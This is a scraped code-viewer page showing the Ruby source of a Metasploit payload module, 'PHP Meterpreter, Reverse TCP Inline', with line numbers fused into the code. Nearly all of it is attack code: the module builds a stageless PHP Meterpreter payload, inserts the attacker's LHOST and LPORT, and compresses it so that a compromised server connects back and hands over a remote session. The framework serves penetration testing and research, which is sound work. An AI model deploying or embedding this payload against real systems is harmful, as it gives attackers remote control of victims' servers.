Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4567module MetasploitModule89CachedSize = 349281011include Msf::Payload::Single12include Msf::Payload::Php::ReverseTcp13include Msf::Sessions::MeterpreterOptions1415def initialize(info = {})16super(update_info(info,17'Name' => 'PHP Meterpreter, Reverse TCP Inline',18'Description' => 'Connect back to attacker and spawn a Meterpreter server (PHP)',19'Author' => ['egypt'],20'Platform' => 'php',21'Arch' => ARCH_PHP,22'License' => MSF_LICENSE,23'Handler' => Msf::Handler::ReverseTcp,24'Session' => Msf::Sessions::Meterpreter_Php_Php))25end2627def generate(_opts = {})28met = MetasploitPayloads.read('meterpreter', 'meterpreter.php')2930met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']31met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']3233uuid = generate_payload_uuid34bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')35met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)3637# Stageless payloads need to have a blank session GUID38session_guid = '\x00' * 1639met = met.sub(%q|"SESSION_GUID", ""|, %Q|"SESSION_GUID", "#{session_guid}"|)4041if datastore['MeterpreterDebugBuild']42met.sub!(%q|define("MY_DEBUGGING", false);|, %Q|define("MY_DEBUGGING", true);|)4344logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging'])45met.sub!(%q|define("MY_DEBUGGING_LOG_FILE_PATH", false);|, %Q|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath]46end4748met.gsub!(/#.*$/, '')49met = Rex::Text.compress(met)50met51end52end535455